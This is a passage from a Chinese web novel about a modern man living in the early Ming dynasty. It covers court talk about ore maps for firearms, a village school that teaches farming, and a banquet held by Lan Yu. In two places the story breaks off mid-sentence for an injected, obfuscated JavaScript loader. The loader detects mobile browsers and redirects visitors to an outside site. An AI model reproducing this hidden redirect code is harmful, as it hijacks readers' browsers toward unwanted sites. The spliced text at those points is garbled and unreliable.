那现在这个朱安宁,划到了东宫麾下,那是否意味着,这是未来的重臣,虽然现在洪武朝,好像没他朱安宁的什么位置,但是未来就不一样了啊! 李善长和李文忠都是人精,两人快速想了几种可能的情况。 而朱元璋看着他们那副模样,也是有些不耐烦,当官的就是喜欢揣摩自己的想法,真是烦,只见他挥了挥手。 “行了行了,这舆图没问题,我们就继续按先前的计划,继续推进北伐吧。” 老朱的意思在明确不过。 你们两可以滚蛋了。 “领命!” “遵旨!” 非常有眼力见的两人,连忙行礼,然后告退。 很快殿内就只剩下他们两父子。 “父皇,朱安宁这边安排的只是赞读,宋慎已经回来回话了,说朱安宁并没有拒绝。” “行了,这事你自己处理就行,他朱安宁看样子是不愿意当我的官的,真是奇了怪了,你的倒是不拒绝,向来是你朱标太子素有贤名,我朱重八凶名在外吧,哼。”老朱自嘲了两句,恼火是恼火,但是他也很欣慰朱安宁愿意跟自己的好大儿。 这话朱标可不好接,也就只能苦笑一下。 然后他换了个话题。 “对了,父皇,江南贪腐一案……” 他提起了这件已经搁置了很久的案子。 毛骧已经掌握了许多东西,这些证据和情况陆续传回了宫内。 让朱元璋和朱标是看得触目惊心。 朱元璋没有等朱标说完,拍了拍他的肩膀,打断了他的话。 “先放一放,要打仗了,咱也不知道这群蛀虫,把这柱子,给蛀成个啥样了,只能等外面院子扫干净了,再回过头来修这大柱了,免得外面没扫干净,这柱子倒下来,把屋子给砸烂了。” 朱元璋是目露凶光,意思也表达得很清楚。 就是先查,但是绝不动手。 朱标也是立马就听懂了他老爹的意思,正欲开口之时。 “报,燕王求见。”门口的小太监突然嚎了一嗓子。 而后,还没等朱元璋他回应,朱棣就这样冲了进来。 这让朱元璋是皱起了眉头。 “老四,在那永乐庄呆了那么久,怎么还是毛毛躁躁的样子,这性子还没磨好?” 朱标则是相对要和善很多。 其实比起朱元璋,他更了解这群弟弟。 朱棣这么急急忙忙回来,一定是有重要的事情。 “四弟,是有什么急事么?”他连忙扶了一手自己的弟弟。 “见过父皇,见过大哥,我这是趁有空回来的,呼……”只见朱棣大口的喘着气,看样子确实是跑回来的。 “有什么事情不能让戚祥传话,还要你专门跑回来。”朱元璋还是没有展开那皱起的眉头,他不悦地开口说道。 “这几日我都在等大哥过来,一直没等来,便觉得不能再耽搁了,才回宫的。” “什么事,让你这么急?” 朱标宽慰了朱棣一下。 毕竟朱元璋一直在那摆臭脸,非常不利于交流。 “朱哥那边,有舆图。” 只见朱棣吞了吞口水,不顾口干舌燥,对两人说道 。 “呃……他已经给与我一份了,剩下的我是想着过两日再去拿的。” “不是……我的意思是,朱哥手上还有其他舆图,其中有一份,他说可以找到能造枪炮的上品铁矿石!” 朱棣的话语,落在了空荡荡的大殿上。 让朱元璋的眉头,一下就舒展了开来。 也让朱标,微微张大了嘴巴。 第一百二十四章 喝酒再谈些烦心事 “铁矿石?” “舆图?” 朱元璋和朱标,一前一后,提取出了关键词。 于是老朱眉头也不皱了,脸也不黑了,甚至还有些潮红。 他一步就跨到了他四儿子面前。 “造火铳造火炮的矿石,咱大明,有不少,但是老四,你应该清楚咱想要的是哪种!” 这个问题,直击核心。 火器早就已经发明了。 但是国内的矿实在是太辣鸡了……究极贫铁矿那是占据了主流的。 这种货色造出来的枪管和炮管,根本顶不住火药的冲击。 所以来到明成祖永乐年间,经过朱小四的大力推动,在结构大改的基础上,开挖了遵化矿,才凑出了一支神机营…… 现代人老是觉得古代人蠢逼,造了火药不用枪,还在那冷兵器互砍,实在是弱智之类的说法可以略微消停下了。 人也想造,没好矿而已…… 所以当年遵化矿的大量开采,是划时代的,即便还是远远比不上南太平洋那个盎撒犯人流放地的矿,但是已经可以满足造出合格的枪管和炮管。 可惜的是,明中期后,腐败过于严重,偷工减料到即便给了合格的矿,依然频频炸膛,这也导致了后期,军人普遍不爱用火器……毕竟,谁也不想自杀。 朱安宁是知道这一段历史的,所以他也知道这矿的意义,才会这么激动。 而现在比朱安宁更激动的是,朱棣,朱标和朱元璋这父子三。 朱棣听完他老爹的问题,那是立马就接了话。 “朱哥……呃,朱安宁说了,是可以直接入高炉的矿!” “当真?!”朱标吸了口气。 然后朱棣却突然尴尬地笑了起来:“我也不确定……所以这不是说找父皇和大哥,赶紧让人去查验一下嘛……真有好矿的话,当地百姓应该是能捡到些类似矿石的东西的。” “呃……”朱棣的这个说法,是一下就让刚才有点上头的朱元璋微微冷静了下来。 于是,他眉头又皱了起来。 “没有确定的事情,你拿来说,老四你!”心情大起大落,朱元璋立马就急眼了。 这时还是朱标靠谱,他护在了朱棣面前,略微挡了下朱元璋。 “四弟,你能进宫说这件事情,就是说你知道确定地址了吧。” 朱棣被他老爹那蠢蠢欲动的手,吓得后退了几步。 幸好有他大哥在。 而他也是立马回应了朱标的问题。 “就在我封地那附近,大哥你曾经告诉过我的那个元人采过的沙坡峪矿。” 朱标听完后也没有马上回答。 在朱元璋和朱棣的注视下,他开始踱步。 沙坡峪? 朱标只觉得这地方很熟。 然后他叩了叩桌面,终于是想了起来。 “蓟州遵化?沙坡峪?那矿质量是还行,但是产量不算高啊,元人不是采得差不多了么?” 他转头看向了朱棣。 而朱棣却也是眼睛亮了起来。 只要大哥记得就还行。 “朱哥那边的说法是,遵化境内还有矿,而且是大矿,遵化距离顺天不远,如果真的可以造枪炮,运输也不算难!” 只见朱棣咧嘴笑了起来。 “笑个甚,矿在你封地内,你好造枪炮是吧?”朱元璋突然插了句嘴,是把朱棣吓得够呛。 这不是说自己要造反的意思么。 天地良心,自己可是相当尊敬大哥的啊,怎么会做这种大逆不道的事情嘛。 不可能,绝对不可能! 只见他涨红了脸,解释道。 “我……我,我是喜欢造枪炮,但是我绝不会留在自己封地的!” 朱棣声调都高了不少。 却也让朱标哭笑不得。 自己老爹就是喜欢敲打这些弟弟。 他还不了解这个四弟?四弟能有什么坏心思?四弟还能造反当皇帝不成?四弟也没这个能力啊…… “行了行了行了,你未来守着那北边的防线,那边可是重要的边塞,哪能说造了枪炮全送回应天这边,送回来干嘛,我们用来打猎啊……” 朱标安抚了下他的四弟,然后才转头跟朱元璋开口道。 “父皇,如果四弟和朱安宁的说法真的没问题的话,这事需要尽快确定。” “嗯,宜早不宜迟,虽说第一批军械是赶不上北伐了,但是如果战线拉长了,这北边突然多个能用的矿,也是极好的。” 朱元璋点了点头,同意了朱标的意见。 此时的朱棣也终于是松了口气。 他急赶慢赶跑回来,就是为了把这件事情告诉他父皇和大哥,现在来看,没白跑。 “呼,父皇,大哥,这铁矿一事,如果定下来,我就先回去了。” 朱棣正欲转身,朱标却突然开了口。 “四弟且慢!” 这一声叫停,不仅叫住了朱棣,也引来了朱元璋的目光。 只见朱标浅笑着示意朱棣不用紧张,然后才开口说道。 “我今儿让那宋慎去给我送了口谕,顺便给了那地契给朱安宁。那宋慎回 来还汇报了一件事。” 朱标顿了顿。 吊住了朱元璋的胃口。 只是这是好大儿,不是老四,所以他也没有开口训斥。 而是静静地等待朱标继续说下去。 “事?大哥是说永乐庄的事么?” “不然呢。”只见朱标笑了笑,说了下去:“宋慎说那永乐庄,搞了个学堂。” “大哥,这事许久之前我就交代戚叔汇报回宫了才对啊。” “嗯,我和父皇都知道,但是那宋慎不知道啊。” “哦对对。” “所以呢,这宋慎啊,那是一副义愤填膺的样子啊。” “啊?” “啊?” 不只是朱元璋,连朱棣,都满头问号。 “他说,永乐庄的乡学,不教四书五经,不教大家诗词,在那教什么肥料,这简直不可理喻。” “啊……”这是朱棣发出的第二声啊。 这是降调的啊。 听朱标这么一说,他是马上知道发生了什么。 表情变得有些哭笑不得。 宋慎,他是认识的,毕竟宋濂是他们皇子们的老师。 当代大儒啊。 那大儒的孙子,也是儒啊,看不起这些所谓的旁门左道,那再正常不过。 但是朱棣可不会这么想,或者说,包括朱棣在内,朱橚和刘家兄弟,甚至是李景隆,都不会这么想。 他们早就接受了朱安宁的那套,关于农家有重要的思想。 这全依赖晚上朱安宁的授课,从技术到思想上,全方位的改造了他们。 “一国之本,是粮,是民,我并不觉得面对农家孩子的乡学讲肥料讲耕种技术有什么问题。” 隔了半晌,朱棣小声回了话,似乎是怕触怒朱元璋般,他说得很是小心翼翼。 这话语,不仅让朱标有些意外。 连朱元璋,都露出了不一样的神色。 他往前只觉得这四儿子,确实也还不错,文尚可,武也不错,做事靠谱。 但是今天这话,就有意思了。 “学堂,那是读圣贤书的地方,你觉得是该讲什么耕田的地方?”站在一边的朱元璋,突然开了口。 态度似乎有些反对。 这让朱棣的压力一下就大了起来。 但是,他却还是没有改变自己的意见。 “农家的孩子,本就没有多少机会走到更高的位置,任何时代,出人头地都是极少数,就算是认真学个七八年,甚至十几年几十年,最终只考个秀才的人也大有人在,更遑论现在没有开恩科。那现在教他们更实际的东西,绝对是没有错的,活下去是第一要务,活得好是在活下去基础上,才能考虑的事情。” 他说得有些轻声细语,声调都不敢喊得太高。 对着老朱,朱棣很紧张,特别是在反驳自己父亲的时候,他就更紧张了。 只见朱元璋,本还是一副面无表情的样子,却在朱棣话音落下的那一刻,突然,笑了起来。 笑得朱标和朱棣,都有些猝不及防。 “很好,这话,应该是朱安宁说的吧,老四,你认可么?” “禀父皇……我认为,朱哥说的,很有道理。” “岂止是很有道理,是太他嘛有道理了。”朱元璋笑骂了一声:“世人都知道读书好,读书读取功名更好,但是田地该谁去耕? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378728|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是读了书,地里就能自己长出作物来?这不对吧,总归是得要农民,去侍弄田地的啊!” 农民出身的朱元璋,感慨着,长长地叹了口气。 他并不讨厌儒学,他也知道进学的重要性,但是这二者,都比不过农,这一字在他心中的地位。 朱元璋的残暴,给了贪官,但是那柔软的一面,则更多地给了农民。 只见朱元璋没有等朱棣回话,他继续开了口:“朱安宁这乡学办得真有意思啊……耕田,可是有很多门道的,但是就是读书人都觉得耕地这类事情上不得台面,就没有多少人会对这事情著书立说,但是朱安宁不一样,他很同情农民,他很知道农民的苦……他是真的愿意把一些更好的耕种方法教给那些农民的。咱觉得啊,要是大明,各地的地主,都能有他一半好,那该多好啊。” 这话就说得有点夸张了。 就按这个十收一的抽成方式,大部分地主是难以维持自己体面的生活的。 更不用说朱安宁还是个思想先进的地主。 所以说朱元璋这个只能是美好愿景了。 “老四,你这段时间应该学了不少本事吧。”朱元璋看了眼朱棣,眉眼不再皱起,也没有再展露不悦的表情,他微笑着对朱棣问道。 这让朱棣多少有点受宠若惊。 大哥对自己好那是正常的。 但是老爹不抽自己,还对自己笑了,这……太……太难得了。 所以他有些激动,也很是开心。 他没想到只是复述了一下朱安宁的话语,就能让自己的老爹突然对自己改了态度。 “禀……禀父皇,朱哥确实教授了许多有关农事,植物草药的内容给我们,但是我学的没有五弟那么好,朱哥也说了,五弟才是真正学通了的人。 ” 他高兴之余,也不忘拉一手自己的弟弟。 说起来,他弟弟在他们父亲朱元璋这里,挨揍的次数是比自己还要多的……这有机会,赶紧给他美言两句吧。 “哦?也对,老五之前就喜欢折腾这些东西,如果他真的能在朱安宁那边学到点什么还行,你们这乡学就继续办下去吧,好好办!” 朱元璋,最后给这件事情,下了个结论。 相当于,给这乡学,定了个合格执照。 当然,这些事情,朱安宁,那是一概不知…… —————————————— 宋慎很郁闷。 首先,他并不是什么真的很迂腐的人。 相反,他还挺进步的。 只是,再怎么进步,他也是个正儿八经的儒家出身的年轻人。 所以他现在很矛盾,他隐隐觉得,那刘畾说得就是没问题。 但是他又无法接受这学堂里教耕田这种事情,这不是侮辱了三尺讲台么! 因而,他也忍不住和太子朱标说了这事,也算是汇报吧。 结果却没想到,太子只是淡淡一笑,回道,知道了,不要透露刘畾他们的身份就行,顺便还交代了,永乐庄里见到任何相熟的人,都不要惊讶,也不要声张。 这个态度让宋慎更是郁闷。 什么鬼。 莫不是太子也支持乡学这么乱搞吧。 这成何体统! 郁闷的他,把温好酒一饮而下。 “相林,怎么?”这让坐在宋慎对面的方孝孺皱起了眉头。 虽说私下喝酒不需要讲究这么多东西,但是这一副喝闷酒,还不和自己说话的样子,是很让他不喜的。 听到方孝孺在叫自己,宋慎也是回过了味来。 “哦……今儿遇上了点不太舒服的事情而已,来来,希直,喝一个,这酒真不错。” “相林,你这喝急了啊……”方孝孺说完,顿了顿,又开了口:“是什么事,方便说与我听?” 好奇心是每个人都有的。 即便是刚正的方孝孺,也会有。 所以他是直接问了出来。 宋慎抬头看向了自己的好友。 有点晕乎乎的样子。 屋内突然就没了声音。 因为宋慎没有马上回话。 不知过了多久,宋慎终于是开了口。 “今日,我去了永乐庄办事……” 他,把今日所见之事,娓娓道来。 第一百二十五章 让蓝染带你们做点赚钱的生意 就算是喝了酒,宋慎也没有蠢到说他遇见了刘畾他们,毕竟这村口有驿站又有那么奇怪歪脖子树的村子,处处透露着诡异的气息。 特别是,太子爷无缘无故提了一个自己根本就没听过的人上来做赞读,赞读虽然不是什么机要职位。 但是,怎么地也得是个正儿八经的儒生吧。 那朱安宁看起来可不像是什么正经读书人…… 这就很耐人寻味了。 所以,他只是和方孝孺说了,那乡学是有多么的荒唐,自己是有多么地无奈。 那学堂,放着好好的圣贤书不教。 在那里折腾些有的没的。 这不是误人子弟么! 他在吐槽着,顺便又喝了两口酒。 这这没吃花生米干喝酒,上头就是快。 只见他涨红着脸,叨叨絮絮地是说个不停,小隔间很安静,这是宋慎在酒馆这特意挑选的角落隔间。 原本方孝孺也只是在听而已,但是听着自己的好友越说越激动。 他也从单纯的倾听姿态,逐渐变成了一个参与者。 一个参与到宋慎情绪中的参与者。 方孝孺,他很快就愤懑了起来。 不单是愤懑这听到的荒唐事,更是愤懑自己到现在还未被外派。 人人都说自己满腹经纶,有大才之资,却只能眼看着身边那些不如自己的儒生们,一个个被委任了官职,成为了一方父母官。 然后每个人在践行前,都会和自己说,希直定会被重用。 所以重用在哪里? 自己到现在还是个庶吉士! 这份愤懑,伴随着酒水和宋慎的牢骚,终于升腾成了一股无名怒火。 方孝孺把酒杯重重地砸在了桌面,没有砸碎,却也足够发出巨大的声音,把在一边喋喋不休的宋慎,给吓一个激灵。 “学堂之所以为学堂,那是因为屋舍内的三尺讲台,讲的是治世之道,讲的是孔孟圣学,讲的是天下至理!相林,你说的那乡学,能称作学堂?荒谬,哼。” 方孝孺的声音,在这略显简陋的屋中回响。 掷地有声。 把喝得有些晕的宋慎,给弄醒了七八分。 好家伙,明明是自己在吐槽。 怎么这方希直比自己还激动。 只不过这方孝孺说得那是句句在理啊! “没错,希直所言甚是,如《管子·小匡》所言,士农工商国之石民也,士之所以为四民之首,皆因我等读圣学,懂经纬,田间的农夫只要全身心去侍弄田地,等个好收成就可以,可我们读书人,要考虑的事情就很多了。” 宋慎的情绪,也是被那酒精放大,说话的声调都是大了许多。 幸好他们所处的位置还算清幽,不然隔壁屋子怕不是得过来和他们讲讲一些物理上的道理。 宋慎又喝下了一口酒。 一想到自己的同窗刘畾也在那里,他就难受。 读书至上,是公理。 但是似乎,与自己同为读书人,且也是大儒之后的刘畾,好像有点不一样的看法。 自己还说服不来对方,最后只能逃窜!!! 太丢人了! 还是自己学识不精,让方孝孺去,肯定能吵的过对方! 宋慎所想的事情,很快就变成了现实。 只见方孝孺,红了脸,那是酒精上头的征兆。 他开口对宋慎说道:“相林,你且让我去那……那乡学看看,看看那教书先生是有多荒唐,如果他不会教,我,我方希直,可以代他去站那三尺讲堂。” “好,明日我就带你过去!” 宋慎,咧嘴笑了起来。 在醉酒之中,说出了让他醒来后无比后悔的话语。 不同于这边的文绉绉。 这酒楼,还是有热闹非凡的隔间的。 蓝玉正在宴请李文忠。 同行的还有汝南侯梅思祖、吉安侯陆仲亨,几人都是老功勋了,除了汝南侯梅思祖,剩下的几人更是淮西勋贵里的核心人物。 李文忠还算克制,其他几人那是喝得脸红脖子粗。 “曹国公,前几日,我那几个义子该死,实在是该死,居然去你的田地里撒野,还打了九江。”只见蓝玉做了个敬酒的姿势。 他的田地? 永乐庄吧…… 好像现在应天府有不少人都认为永乐庄是自己的地…… 不过看上位和太子的态度,他们好像也觉得这样挺好…… 于是他便也没有反驳蓝玉的话语。 只是说打了九江儿? 他联想到了前几日太子那乌黑的眼圈…… 自己儿子应该没什么大事才对,有事以太子的仁厚,应该是会跟自己说的……所以这个打了九江……就是打了太子嘛。 李文忠古怪地瞄了一眼蓝玉。 而蓝玉却也是很上道,他与李文忠对视了一下,然后一口喝完了杯中的酒。 陆仲亨梅思祖两人在一旁是嘻嘻哈哈地在那起哄。 “永昌侯海量啊。” 喝得有点高的两人,只听着说蓝玉的义子好像又犯什么事了。 这种事情他们不 在应天府,在外练兵时都听得不少,所以丝毫不觉得意外。 唯一让他们觉得有趣的是,居然是打了李九江?这就有趣了啊哈哈,怪不得要叫自己两人来陪酒。 “咳……你那两义子……”李文忠也是不动声色地喝了口酒。 打他儿子,算不得什么大事。 他们这群公侯的孩子,除了舞文弄墨的那些,武将之后嘛,溜街打架,那是常有的事…… 事后能处理好就行。 但是这个……打太子就……有点生猛了啊,特别是自己看太子眼睛都黑了……李文忠看了一眼对方。 “那两人?怕上位责罚,自缢了。”蓝玉也是说得相当轻巧的样子。 自缢,死了。 这话很轻巧。 却让剩下的两人同时放下了酒杯。 齐刷刷地看向了蓝玉。 李文忠则没有任何意外的神情,他那天就在殿里,听着太监报告给朱元璋听的……他今天就是故意说出来,看蓝玉态度的。 “永昌侯,不就是打个架么?” 梅思祖倒吸了一口凉气。 那是觉得好像有点过了。 他们还不了解蓝玉?什么畏罪自缢,就是他蓝玉让那两人自缢了吧。 陆仲亨则看了眼蓝玉,又看了眼李文忠,那是一句话都不哼,默默喝了口酒。 “我等受封于上位,那行事自然要对得起自己的爵位,我那两义子,作此大恶,那是罪无可赦,他们死,是应该的。” 又是一口酒喝下肚,蓝玉说得那是冠冕堂皇。 而这番话,不仅是梅思祖和陆仲亨听着有点腻歪,连一向稳重的李文忠,都不自觉地翻了个白眼。 你蓝玉什么德行,自己这批淮西的老兄弟,能不知道? 梅思祖和陆仲亨也立马砸吧出了这次酒宴的味道,大概就是蓝玉给李文忠的道歉酒席了。 不过两人倒也没什么意见,这种事情又不是第一次了。 武将之间,吵闹不愉快,那是太常见了。 但是终归未来上战场,是有概率把自己的后背交给对方的。 所以大部分武将之间,都不会说真的撕破脸皮,且其实私交都还算可以。 “永昌侯真是这般想的,那自然是最好啦。” 李文忠,举起了酒杯,敬了敬不远处的蓝玉。 他很有分寸,知道这不过是代朱元璋和朱标,受这道歉而已……再端着,就不太对劲了。 于是他也喝尽了杯中之酒。 而蓝玉,也是终于咧嘴笑了起来。 “那就劳烦曹国公,在太子和上位面前,替咱美言两句咯。” 这话语的意思再明显不过。 李文忠是懂了。 但是梅思祖和陆仲亨就有点一头雾水了。 不过酒过三巡,他们也就没管这么多了。 这提到了太子和朱元璋,几人是一同举起了杯子。 又喝了一轮。 李文忠终于是准备松口,其实朱标早就料到了蓝玉,大概是不太敢直接找自己或者父皇的,但是找李文忠,他还是有胆子的啊。 所以也就提前和李文忠对了个态度。 这蓝玉的事,目前就此为止。 李文忠此刻也觉得,够了,看蓝玉的态度,他应该也是怕了,所以开口说道。 “永昌侯,太子近日说过,你那义子的事,他有所耳闻,永昌侯能主动交罚俸禄田,已经是知错能改,此事就此揭过。” 他说得很是清晰。 蓝玉听得明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378729|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白白,然后是咧嘴笑了起来。 他现在终于是放心了许多,关于永乐庄的事情,他是完全不想碰一点的了,那石膏矿也是快速就交了出去。 揍了太子,能全身而退,已经算是好结局了! 这几天,他是巴不得掐死那群怂恿自己去教训永乐庄的地主。 宫里一直没有传来对他的处置。 虚啊…… 今天就好了,没事了。 于是他激动地又倒了两杯酒。 “谢谢曹国公!” 梅思祖和陆仲亨一听俸禄田的事,那是当即就郁闷了起来。 他两去年因为应召迟了些,被朱元璋判大不敬,也是罚了俸禄田。 只见陆仲亨长叹一口气:“以前不觉得俸禄田多寡有什么问题,去年被罚了一年,那是相当难受啊。” 在场的都是熟人,他又向来粗犷,那是直接就吐槽了起来。 梅思祖本不想说什么,但是酒劲上来了。 他也开了口:“谁说不是呢,谁能想到堂堂一个侯爷,也有没钱银过日子的时候。” 其实两人就是吐槽而已,要说他们真穷。 打死李文忠和蓝玉他两都不会信。 只不过这么当众拆穿,也不太好。 他们也就是笑了笑,准备又来一杯酒。 这种酒局就是这样,有话说话,说不下去,喝一杯,总又能说出点东西。 几千年了,都这样…… 蓝玉心里现在是极高兴的。 当天犯了事,出门,太子就告诉他了,又要打仗咯,又可以建功立业咯。 自己 回家就把那两人宰了给自己祭旗。 但是左等右等,却又等不到太子和陛下的新口谕。 那是坐立难安,才安排这次晚宴,宴请李文忠。 这请,果然是请对了,不愧是陛下的侄子,那是要比自己亲得多啊,一下就得到了令他安心的消息。 所以借着酒劲,他又开始飘了。 “哎呀,汝南侯、吉安侯,这要是觉得钱银不够,我这里有个相当会做生意的义子,那是月月给我进账不少。” 这话一开口。 李文忠是立马就皱起了眉头。 梅思祖和陆仲亨倒是来了点兴致。 方才说过,要说他们真穷,那是假的,但是不好受呢,却是真的。 要是能有点来钱的路子,他们是非常愿意参与进去的。 即便听说蓝玉的义子,那是个个都是欺行霸市…… 而李文忠皱眉头的原因也很简单。 那还是蓝玉的义子,个个都是欺行霸市。 这能做什么生意嘛。 怕不是又是些强买强卖之类的腌攒事…… “蓝玉,有什么好路子嘛,兄弟们日子确实不好过,家里娘们花钱那是如流水,哥哥这边确实是有点顶不住了。” 陆仲亨突然不再称呼爵位,这让酒席的氛围陡然变得轻松了许多。 “嘿嘿,陆仲亨,你个老小子,是不是自己喝花酒把钱银给花光了就赖自己家娘们啊!” 蓝玉嘿嘿一笑起来。 把梅思祖和李文忠都逗乐了不少。 只见梅思祖拿起就被就绕到蓝玉那里。 “蓝玉,你甭管陆仲亨这鸟人,哥哥以前对你好不好,你就说,现在你有路子搞点银子,那哥哥能不能参与一下嘛。” “啧,梅思祖,打仗你叫救命的时候,你可是叫我哥哥的啊,怎么今儿你又成哥哥了?” 蓝玉也是哈哈一笑,但是嘴上却没有饶过梅思祖。 “这事你是不是要唠到死?”梅思祖把酒倒到嘴里,也是有些恼火的样子:“你就说你这生意,能不能挣钱,他奶奶的,一年没俸禄,这日子确实有点难受。” 李文忠没有参与到这胡闹之中。但是他也不介意趁这个机会放松一下。 喝酒的速度又快了些许。 只见蓝玉,那是也给自己倒了一杯。 然后才开的口。 “嗨,想……想要跟咱赚钱,那可太简单了,等回头,我……我带我那义子出来,让他跟大家伙说说就……就行!” 许久没开口的李文忠,也是终于又开了口。 “蓝玉,哪个义子啊?” “啊……叫……叫什么来着?我义子太多了,哦哦哦!叫蓝染!” 第一百二十六章 朱哥,来点童子尿! 酒馆有人在喝酒,那是再正常不过的事情。 远在郊外的朱安宁又怎么会知道这些破事…… 要是他知道方孝孺和蓝玉等一众历史名人都在讨论他……他可能会虚得彻夜难眠。 但是很不幸的是,现在他也很难眠。 因为朱橚和刘廌两人都在缠着他。 明明那夜间的授课已经结束。 朱棣刘畾李景隆三人都熬不住去歇息了。 而朱橚和刘廌却精神抖擞地围了上来。 朱安宁也没办法,他只能回车上冲了杯咖啡,然后端出来准备和这两个年轻人熬夜。 “先生,那些孩童开始时虽然有些顽劣,但是只要给他们讲过话本,他们接下来都会乖巧许多!所以先生请快些把后面的章回告诉我!” 刘廌说得理直气壮。 是搞得朱安宁一阵头大。 但是又找不到好的借口拒绝。 毕竟这两天的反馈来看…… 孩子们都很喜欢他们的课。 其中西游记的功劳,绝对是不可忽略的。 朱橚也知道西游记在那群孩子心中的重要性,便也没有多说什么,也是准备让朱安宁先讲完话本,好让刘廌润色。 要说刘廌还真就是刘基的好孙子啊,这文学功底是一顶一地强,朱安宁那粗糙的关于西游记的记忆,在刘廌的润色之下,是有趣了许多,还兼顾了孩童的理解能力。 朱安宁喝下一口苦涩的咖啡。 只能感叹自己现在的处境,真就是比咖啡还苦。 “上回说到哪里来着?” “三打白骨精。” “哦对对对……排骨精……” “先生是白骨精……” “好的白骨精……” 朱安宁突然有点同情现代的那些写手,明明很想休息,但是却被逼迫着不得不每天憋点东西出来。 真是丧尽天良!!! “先生快讲!”刘廌皱眉催促了两句。 连朱橚都跟着砸吧了下嘴巴。 朱安宁只得又喝下一口咖啡,开始讲那几师徒,和那女妖怪,不得不说的,故事。 一直到,朱安宁的咖啡喝尽。 刘廌才满意地收起了纸笔。 而此时的朱安宁,已经被榨干般,一脸麻木。 可惜的是,送走了刘廌。 还有个朱橚。 只见朱橚嘿嘿笑着凑了过来。 他摊开了纸笔,开口道。 “先生,今天季廌和李三江他们已经给学童们展示过烧苗了,那明天得给学童们讲氮磷钾了啊,直接画图给他们看还是带到田地里去?” “大热天带田地干嘛……” “先生不是说,实践出真知么。” “先把理论教好吧……” “好,那先生,你看下我的这些记录,是否有问题。” 朱橚指了指自己那厚厚一沓资料。 让朱安宁又是两眼一抹黑。 这伍周放回现代不仅保底是个研究员,当老师也是没问题的。 每天备课就数他最认真…… 但是这乡学是自己夸下海口要办的。 也没办法打退堂鼓,只好陪着朱橚在那灯下,又是唠了小半个小时。 最后把心满意足的朱橚送走后。 疲惫的朱赞读朱大人,终于是回到了自己的房车内。 还是习惯性地全部帘子拉起的状态。 即便已经和那几个年轻人生活了许久。 即便他们都进过里面来看过。 朱安宁还是习惯拉起帘子。 只有这样,他才会有一种回到现代的快乐。 除了没有网络外,各种电器一应俱全,的那种快乐。 他又给自己泡了一杯咖啡。 然后麻利地洗了个热水澡。 接着习惯性地去看了眼剩余电量。 70%…… 这个放以前他会焦虑得要死。 但是现在……他已经麻木了。 晚上不开空调好像也死不了,只要打开车顶的排气扇,加桌面的风扇,就已经足够。 白天的太阳能和晚上的用电,勉强收支平衡,这就足够了。 在座位上,朱安宁打开了他的笔记本电脑。 熟练地开始涂抹地图。 他尽量把城市和道路去除,只留下山川湖泊等地形特征。 至于这些东西有没改变太多,他也没办法左右。 只能说先给到伍文,再让他去核对就好。 其实他的想法很简单,湖泊可以干涸,可以突然出现。 山总不能说没就没吧。 所以他认为这现代卫星地图,还是很有意义的。 这才每天晚上在这涂抹修改,好打印出来完整的,给伍文使用。 这工作其实已经接近尾声。 所以他也没有很焦虑。 现在比较让他挠心挠肺的是…… 铁矿的事情。 不想还好。 越想是越气。 明朝都已经有完备的火药火器火炮了。 明中后他依稀记得有个赵什么大哥,是做了改良的,而且是相当牛 逼的改良……奈何那堪比现代不列癫和小美的逆天军工状态……愣是把火器整得没有卫兵敢用。 也是相当炸裂的。 甚至到了鞑子朝,那就是大幅度落后了。 好气哟。 所以能不能做点什么嘛…… 朱安宁挠着还未全干的脑袋,那是一阵无奈。 自己什么b专业,能记得炸药怎么做已经算是自己还算有脑子了,至于那些什么枪械,高炉的改良,那是两眼一抹黑。 他也就知道炉子温度越高越好,能把那些该死的碳去干净些,是好的。 但是,温度怎么弄高点…… 对不起,我们朱赞读他没有这个能力,知道嘛。 再想下去,他脑子里也就只有什么生物圈二号,peg原生质体融合之类的,古代根本无法实现的事情…… 所以,他只能挠头。 看着电脑,无能狂怒。 能不能让他的电脑接点网络。 2g网络也行。 只要能打开b站,打开百度!一切都会好起来的! 他知道B站是有天工开物的解读的啊,他看过,乐呵呵地看过! 然后乐呵呵地忘记了绝大部分内容,只记得自己在下面和1450激情对喷的情景…… 甚至,他为了和1450对喷,还上百度查过天工开物原版……好引经据典地对喷。 可惜,没有网络就是没有网络…… 这让他非常痛苦。 于是,又续了一杯咖啡。 然后……继续挠头。 前几日和那伍燕说完遵化矿后,朱安宁就一直是这个状态。 他有一种,漂亮姐姐就在你面前,但是你没用啊,你不行啊……的那种感觉。 存放资料的那些硬盘,早就被他翻烂了,该整理出来的东西,都整理出来了。 所以他都懒得再去看DEF盘,百无聊赖的朱安宁,鬼使神差地点进了C盘里。 然后突然笑着骂了两句:“马拉个巴子的巨硬系统,狗日的天天偷偷更新也就算了,还越用系统资料越多,分了一百个G给它,他都能给你慢慢占完,真是日了狗了……” 朱安宁看着根本就没什么额外东西的C盘,是笑骂出声。 然后,他的笑容很快敛去。 为什么C盘会越来越多东西呢。 巨硬天天在那更新肯定是原因之一。 但肯定不是唯一原因。 系统缓存!!! 朱安宁猛地站了起来,动作幅度之大,那是让房车都晃了晃。 “我日!系统缓存!!!尼玛的在那里。” 理智有点归零的他,自然也顾不上什么素质了,那是一边骂一边点进了文件夹里,开始疯狂地翻找起来。 “B站视频缓存应该有吧……应该吧……”他急的脑门都有点冒汗,点鼠标的动作是越来越快。 只是随着一个又一个的文件夹被翻空。 